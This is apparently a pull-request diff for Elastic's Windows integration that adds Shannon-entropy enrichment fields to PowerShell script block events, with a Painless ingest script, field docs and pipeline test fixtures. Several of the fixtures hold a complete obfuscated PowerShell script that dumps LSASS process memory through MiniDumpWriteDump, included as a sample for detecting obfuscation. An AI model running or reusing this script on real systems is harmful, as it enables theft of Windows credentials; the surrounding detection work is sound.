[Enhancement] Add Entropy Enrichments to PowerShell events

packages/windows/changelog.yml

@@ -1,4 +1,9 @@
 # newer versions go on top
+- version: "3.1.3"
+  changes:
+    - description: Add powershell.file.script_block_entropy and powershell.file.script_block_entropy_normalized fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15698
 - version: "3.1.2"
   changes:
     - description: Remove unused agent files.

packages/windows/data_stream/forwarded/_dev/test/pipeline/test-powershell-events.json-expected.json

@@ -271,9 +271,13 @@
             },
             "powershell": {
                 "file": {
+                    "script_block_entropy_bits": 2.688721875540867,
                     "script_block_hash": "64TcviMSSJ/OdhiN8lVcBQeKWDU=",
                     "script_block_id": "50d2dbda-7361-4926-a94d-d9eadfdb43fa",
-                    "script_block_text": ".\\patata.ps1"
+                    "script_block_length": 12,
+                    "script_block_surprisal_stdev": 0.5698940901163214,
+                    "script_block_text": ".\\patata.ps1",
+                    "script_block_unique_symbols": 7
                 },
                 "sequence": 1,
                 "total": 1

packages/windows/data_stream/forwarded/_dev/test/pipeline/test-powershell-operational-events.json

@@ -174,6 +174,49 @@
                 "name": "vagrant"
             }
         },
+        {
+            "@timestamp": "2024-07-10T18:28:55.469Z",
+            "log": {
+                "level": "verbose"
+            },
+            "event": {
+                "code": "4104",
+                "kind": "event",
+                "provider": "Microsoft-Windows-PowerShell"
+            },
+            "tags": [
+                "forwarded"
+            ],
+            "winlog": {
+                "level": "verbose",
+                "event_data": {
+                    "MessageNumber": "1",
+                    "MessageTotal": "1",
+                    "ScriptBlockText": "$DumpFilePath = $PWD\n$WER = [PSObject].Assembly.GetType(((\"{0}{1}\" -f'Sy','st')+(\"{0}{1}\" -f 'em','.M')+'ana'+(\"{1}{0}\" -f 'e','gem')+(\"{0}{1}\"-f 'n',(\"{0}{2}{1}\" -f't.','ma','Auto'))+'ti'+(\"{1}{0}{2}\" -f(\"{2}{0}{1}\" -f 'W','indow','n.'),'o','s')+'E'+'rro'+(\"{0}{1}{2}\"-f'r',(\"{0}{1}\" -f'Rep','o'),'rt')+'ing'))\n$WERNativeMethods = $WER.GetNestedType(('Na'+'tiv'+(\"{0}{2}{1}\" -f 'e','s',(\"{1}{0}\" -f'od','Meth'))), ('Non'+'Pu'+(\"{0}{1}\" -f'bl','ic')))\n$Flags = [Reflection.BindingFlags] ((\"{1}{0}\"-f'P','Non')+(\"{1}{0}\"-f 'li','ub')+'c'+(\"{0}{1}\"-f(\"{1}{0}\" -f'ta',', S'),'tic'))\n$MiniDumpWriteDump = $WERNativeMethods.GetMethod(((\"{0}{1}\"-f'Min','i')+(\"{1}{2}{0}\"-f(\"{0}{1}\" -f'p','Write'),'Du','m')+'D'+'u'+'m'+'p'), $Flags)\n$MiniDumpWithFullMemory = [UInt32] 2\n$la = 'ls'\n$ss = ('a'+'ss')\n$Process = Get-Process $la$ss\n$ProcessId = $Process.Id\n$ProcessName = $Process.Name\n$ProcessHandle = $Process.Handle\n$ProcessFileName = \"$($ProcessName)_$($ProcessId).dmp\"\n$ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName\n$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)\n$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,\n                                             $ProcessId,\n                                             $FileStream.SafeFileHandle,\n                                             $MiniDumpWithFullMemory,\n                                             [IntPtr]::Zero,\n                                             [IntPtr]::Zero,\n                                             [IntPtr]::Zero))\n$FileStream.Close()\nGet-ChildItem $ProcessDumpPath",
+                    "ScriptBlockId": "d5325f44-dfca-48a1-aa4f-9bfee88c3d48"
+                },
+                "provider_name": "Microsoft-Windows-PowerShell",
+                "version": 1,
+                "record_id": 3944,
+                "computer_name": "kingslanding.sevenkingdoms.local",
+                "provider_guid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}",
+                "user": {
+                    "identifier": "S-1-5-21-3715621034-4113696668-281506975-1117"
+                },
+                "activity_id": "{fb13c9de-29f7-0001-18e0-13fbf729d601}",
+                "channel": "Microsoft-Windows-PowerShell/Operational",
+                "event_id": "4104",
+                "process": {
+                    "thread": {
+                        "id": 11556
+                    },
+                    "pid": 4696
+                }
+            },
+            "host": {
+                "name": "kingslanding"
+            }
+        },
         {
             "@timestamp": "2023-06-01T05:27:01.247Z",
             "event": {

packages/windows/data_stream/forwarded/_dev/test/pipeline/test-powershell-operational-events.json-expected.json

@@ -308,6 +308,74 @@
                 "version": 1
             }
         },
+        {
+            "@timestamp": "2024-07-10T18:28:55.469Z",
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "process"
+                ],
+                "code": "4104",
+                "kind": "event",
+                "provider": "Microsoft-Windows-PowerShell",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "name": "kingslanding",
+                "os": {
+                    "family": "windows",
+                    "type": "windows"
+                }
+            },
+            "log": {
+                "level": "verbose"
+            },
+            "powershell": {
+                "file": {
+                    "script_block_entropy_bits": 4.999389346653313,
+                    "script_block_hash": "UqkTOrIKrALdr6uz7n5JWUnSHs8=",
+                    "script_block_id": "d5325f44-dfca-48a1-aa4f-9bfee88c3d48",
+                    "script_block_length": 1599,
+                    "script_block_surprisal_stdev": 1.7385527153601164,
+                    "script_block_text": "$DumpFilePath = $PWD\n$WER = [PSObject].Assembly.GetType(((\"{0}{1}\" -f'Sy','st')+(\"{0}{1}\" -f 'em','.M')+'ana'+(\"{1}{0}\" -f 'e','gem')+(\"{0}{1}\"-f 'n',(\"{0}{2}{1}\" -f't.','ma','Auto'))+'ti'+(\"{1}{0}{2}\" -f(\"{2}{0}{1}\" -f 'W','indow','n.'),'o','s')+'E'+'rro'+(\"{0}{1}{2}\"-f'r',(\"{0}{1}\" -f'Rep','o'),'rt')+'ing'))\n$WERNativeMethods = $WER.GetNestedType(('Na'+'tiv'+(\"{0}{2}{1}\" -f 'e','s',(\"{1}{0}\" -f'od','Meth'))), ('Non'+'Pu'+(\"{0}{1}\" -f'bl','ic')))\n$Flags = [Reflection.BindingFlags] ((\"{1}{0}\"-f'P','Non')+(\"{1}{0}\"-f 'li','ub')+'c'+(\"{0}{1}\"-f(\"{1}{0}\" -f'ta',', S'),'tic'))\n$MiniDumpWriteDump = $WERNativeMethods.GetMethod(((\"{0}{1}\"-f'Min','i')+(\"{1}{2}{0}\"-f(\"{0}{1}\" -f'p','Write'),'Du','m')+'D'+'u'+'m'+'p'), $Flags)\n$MiniDumpWithFullMemory = [UInt32] 2\n$la = 'ls'\n$ss = ('a'+'ss')\n$Process = Get-Process $la$ss\n$ProcessId = $Process.Id\n$ProcessName = $Process.Name\n$ProcessHandle = $Process.Handle\n$ProcessFileName = \"$($ProcessName)_$($ProcessId).dmp\"\n$ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName\n$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)\n$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,\n                                             $ProcessId,\n                                             $FileStream.SafeFileHandle,\n                                             $MiniDumpWithFullMemory,\n                                             [IntPtr]::Zero,\n                                             [IntPtr]::Zero,\n                                             [IntPtr]::Zero))\n$FileStream.Close()\nGet-ChildItem $ProcessDumpPath",
+                    "script_block_unique_symbols": 66
+                },
+                "sequence": 1,
+                "total": 1
+            },
+            "process": {
+                "pid": 4696
+            },
+            "tags": [
+                "forwarded"
+            ],
+            "user": {
+                "id": "S-1-5-21-3715621034-4113696668-281506975-1117"
+            },
+            "winlog": {
+                "activity_id": "{fb13c9de-29f7-0001-18e0-13fbf729d601}",
+                "channel": "Microsoft-Windows-PowerShell/Operational",
+                "computer_name": "kingslanding.sevenkingdoms.local",
+                "event_id": "4104",
+                "process": {
+                    "pid": 4696,
+                    "thread": {
+                        "id": 11556
+                    }
+                },
+                "provider_guid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}",
+                "provider_name": "Microsoft-Windows-PowerShell",
+                "record_id": "3944",
+                "user": {
+                    "identifier": "S-1-5-21-3715621034-4113696668-281506975-1117"
+                },
+                "version": 1
+            }
+        },
         {
             "@timestamp": "2023-06-01T05:27:01.247Z",
             "ecs": {

packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/powershell_operational.yml

@@ -324,6 +324,61 @@ processors:
         - _temp.script_block_no_space
       target_field: powershell.file.script_block_hash
       ignore_missing: true
+  - gsub:
+      field: powershell.file.script_block_text
+      target_field: _temp.script_block_no_signature
+      pattern: "(?s)# SIG # Begin signature block.+"
+      replacement: ""
+      ignore_missing: true
+  - script:
+      lang: painless
+      ignore_failure: true
+      description: >
+        Compute Shannon entropy of script block text using Unicode character distribution.
+        Entropy (0-20 bits) measures randomness; surprisal_stdev measures distribution uniformity.
+      if: ctx._temp?.script_block_no_signature != null
+      source: |-
+        // Entropy Variance from: https://github.com/elastic/toutoumomoma/blob/be287c9c0d0e435572e3889a6584199983c688f0/toutoumomoma.go#L326-L363.
+        String script = ctx._temp.script_block_no_signature;
+
+        script = java.text.Normalizer.normalize(script, java.text.Normalizer.Form.NFC);
+
+        int n = script.codePointCount(0, script.length());
+
+        if (n == 0) {
+          return;
+        }
+
+        Map counts = script.codePoints().boxed().collect(Collectors.groupingBy(c -> c, Collectors.counting()));
+        int uniqueSymbols = counts.size();
+
+        double invLog2 = 1.0 / Math.log(2.0);
+        double entropy = 0.0;
+        double surprisalVar = 0.0;
+        double pSum = 0.0;
+
+        for (def value : counts.values()) {
+            double cnt = ((Number) value).doubleValue();
+            double p = cnt / (double) n;
+            double l2p = Math.log(p) * invLog2;
+
+            pSum += p;
+            double tmp = entropy;
+            entropy = tmp + (p / pSum) * (l2p - tmp);
+            surprisalVar += p * (l2p - tmp) * (l2p - entropy);
+        }
+
+        surprisalVar = Math.max(0.0, surprisalVar);
+        double surprisalSd = Math.sqrt(surprisalVar);
+        double entropyBits = -entropy;
+        if (entropyBits == -0.0) {
+            entropyBits = 0.0;
+        }
+
+        ctx.powershell.file.script_block_entropy_bits = entropyBits;
+        ctx.powershell.file.script_block_surprisal_stdev = surprisalSd;
+        ctx.powershell.file.script_block_length = n;
+        ctx.powershell.file.script_block_unique_symbols = uniqueSymbols;
 
   - split:
       description: Split Event 4103 command invocation details.

packages/windows/data_stream/forwarded/fields/fields.yml

@@ -150,6 +150,26 @@
       type: keyword
       description: >
         A hash of the script to be used in rules.
+
+
+    - name: script_block_entropy_bits
+      type: float
+      description: >
+        Randomness measure of the script using Shannon entropy over Unicode characters (0-20 bits).
+        Entropy values outside the expected range may indicate random or obfuscated code.
+    - name: script_block_surprisal_stdev
+      type: float
+      description: >
+        Consistency of randomness distribution across the script. Low values indicate uniform randomness.
+        High values indicate mixed patterns with variability.
+    - name: script_block_length
+      type: long
+      description: >
+        Total number of characters in the script.
+    - name: script_block_unique_symbols
+      type: long
+      description: >
+        Number of distinct characters used in the script.
 
 - name: powershell.process.executable_version
   type: keyword

packages/windows/data_stream/powershell_operational/_dev/test/pipeline/test-events.json

@@ -174,6 +174,49 @@
                 "name": "vagrant"
             }
         },
+        {
+            "@timestamp": "2024-07-10T18:28:55.469Z",
+            "log": {
+                "level": "verbose"
+            },
+            "event": {
+                "code": "4104",
+                "kind": "event",
+                "provider": "Microsoft-Windows-PowerShell"
+            },
+            "tags": [
+                "forwarded"
+            ],
+            "winlog": {
+                "level": "verbose",
+                "event_data": {
+                    "MessageNumber": "1",
+                    "MessageTotal": "1",
+                    "ScriptBlockText": "$DumpFilePath = $PWD\n$WER = [PSObject].Assembly.GetType(((\"{0}{1}\" -f'Sy','st')+(\"{0}{1}\" -f 'em','.M')+'ana'+(\"{1}{0}\" -f 'e','gem')+(\"{0}{1}\"-f 'n',(\"{0}{2}{1}\" -f't.','ma','Auto'))+'ti'+(\"{1}{0}{2}\" -f(\"{2}{0}{1}\" -f 'W','indow','n.'),'o','s')+'E'+'rro'+(\"{0}{1}{2}\"-f'r',(\"{0}{1}\" -f'Rep','o'),'rt')+'ing'))\n$WERNativeMethods = $WER.GetNestedType(('Na'+'tiv'+(\"{0}{2}{1}\" -f 'e','s',(\"{1}{0}\" -f'od','Meth'))), ('Non'+'Pu'+(\"{0}{1}\" -f'bl','ic')))\n$Flags = [Reflection.BindingFlags] ((\"{1}{0}\"-f'P','Non')+(\"{1}{0}\"-f 'li','ub')+'c'+(\"{0}{1}\"-f(\"{1}{0}\" -f'ta',', S'),'tic'))\n$MiniDumpWriteDump = $WERNativeMethods.GetMethod(((\"{0}{1}\"-f'Min','i')+(\"{1}{2}{0}\"-f(\"{0}{1}\" -f'p','Write'),'Du','m')+'D'+'u'+'m'+'p'), $Flags)\n$MiniDumpWithFullMemory = [UInt32] 2\n$la = 'ls'\n$ss = ('a'+'ss')\n$Process = Get-Process $la$ss\n$ProcessId = $Process.Id\n$ProcessName = $Process.Name\n$ProcessHandle = $Process.Handle\n$ProcessFileName = \"$($ProcessName)_$($ProcessId).dmp\"\n$ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName\n$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)\n$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,\n                                             $ProcessId,\n                                             $FileStream.SafeFileHandle,\n                                             $MiniDumpWithFullMemory,\n                                             [IntPtr]::Zero,\n                                             [IntPtr]::Zero,\n                                             [IntPtr]::Zero))\n$FileStream.Close()\nGet-ChildItem $ProcessDumpPath",
+                    "ScriptBlockId": "d5325f44-dfca-48a1-aa4f-9bfee88c3d48"
+                },
+                "provider_name": "Microsoft-Windows-PowerShell",
+                "version": 1,
+                "record_id": 3944,
+                "computer_name": "kingslanding.sevenkingdoms.local",
+                "provider_guid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}",
+                "user": {
+                    "identifier": "S-1-5-21-3715621034-4113696668-281506975-1117"
+                },
+                "activity_id": "{fb13c9de-29f7-0001-18e0-13fbf729d601}",
+                "channel": "Microsoft-Windows-PowerShell/Operational",
+                "event_id": "4104",
+                "process": {
+                    "thread": {
+                        "id": 11556
+                    },
+                    "pid": 4696
+                }
+            },
+            "host": {
+                "name": "kingslanding"
+            }
+        },
         {
             "@timestamp": "2023-06-01T05:27:01.247Z",
             "event": {

packages/windows/data_stream/powershell_operational/_dev/test/pipeline/test-events.json-expected.json

@@ -292,6 +292,70 @@
                 "version": 1
             }
         },
+        {
+            "@timestamp": "2024-07-10T18:28:55.469Z",
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "process"
+                ],
+                "code": "4104",
+                "kind": "event",
+                "provider": "Microsoft-Windows-PowerShell",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "name": "kingslanding"
+            },
+            "log": {
+                "level": "verbose"
+            },
+            "powershell": {
+                "file": {
+                    "script_block_entropy_bits": 4.999389346653313,
+                    "script_block_hash": "UqkTOrIKrALdr6uz7n5JWUnSHs8=",
+                    "script_block_id": "d5325f44-dfca-48a1-aa4f-9bfee88c3d48",
+                    "script_block_length": 1599,
+                    "script_block_surprisal_stdev": 1.7385527153601164,
+                    "script_block_text": "$DumpFilePath = $PWD\n$WER = [PSObject].Assembly.GetType(((\"{0}{1}\" -f'Sy','st')+(\"{0}{1}\" -f 'em','.M')+'ana'+(\"{1}{0}\" -f 'e','gem')+(\"{0}{1}\"-f 'n',(\"{0}{2}{1}\" -f't.','ma','Auto'))+'ti'+(\"{1}{0}{2}\" -f(\"{2}{0}{1}\" -f 'W','indow','n.'),'o','s')+'E'+'rro'+(\"{0}{1}{2}\"-f'r',(\"{0}{1}\" -f'Rep','o'),'rt')+'ing'))\n$WERNativeMethods = $WER.GetNestedType(('Na'+'tiv'+(\"{0}{2}{1}\" -f 'e','s',(\"{1}{0}\" -f'od','Meth'))), ('Non'+'Pu'+(\"{0}{1}\" -f'bl','ic')))\n$Flags = [Reflection.BindingFlags] ((\"{1}{0}\"-f'P','Non')+(\"{1}{0}\"-f 'li','ub')+'c'+(\"{0}{1}\"-f(\"{1}{0}\" -f'ta',', S'),'tic'))\n$MiniDumpWriteDump = $WERNativeMethods.GetMethod(((\"{0}{1}\"-f'Min','i')+(\"{1}{2}{0}\"-f(\"{0}{1}\" -f'p','Write'),'Du','m')+'D'+'u'+'m'+'p'), $Flags)\n$MiniDumpWithFullMemory = [UInt32] 2\n$la = 'ls'\n$ss = ('a'+'ss')\n$Process = Get-Process $la$ss\n$ProcessId = $Process.Id\n$ProcessName = $Process.Name\n$ProcessHandle = $Process.Handle\n$ProcessFileName = \"$($ProcessName)_$($ProcessId).dmp\"\n$ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName\n$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)\n$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,\n                                             $ProcessId,\n                                             $FileStream.SafeFileHandle,\n                                             $MiniDumpWithFullMemory,\n                                             [IntPtr]::Zero,\n                                             [IntPtr]::Zero,\n                                             [IntPtr]::Zero))\n$FileStream.Close()\nGet-ChildItem $ProcessDumpPath",
+                    "script_block_unique_symbols": 66
+                },
+                "sequence": 1,
+                "total": 1
+            },
+            "process": {
+                "pid": 4696
+            },
+            "tags": [
+                "forwarded"
+            ],
+            "user": {
+                "id": "S-1-5-21-3715621034-4113696668-281506975-1117"
+            },
+            "winlog": {
+                "activity_id": "{fb13c9de-29f7-0001-18e0-13fbf729d601}",
+                "channel": "Microsoft-Windows-PowerShell/Operational",
+                "computer_name": "kingslanding.sevenkingdoms.local",
+                "event_id": "4104",
+                "process": {
+                    "pid": 4696,
+                    "thread": {
+                        "id": 11556
+                    }
+                },
+                "provider_guid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}",
+                "provider_name": "Microsoft-Windows-PowerShell",
+                "record_id": "3944",
+                "user": {
+                    "identifier": "S-1-5-21-3715621034-4113696668-281506975-1117"
+                },
+                "version": 1
+            }
+        },
         {
             "@timestamp": "2023-06-01T05:27:01.247Z",
             "ecs": {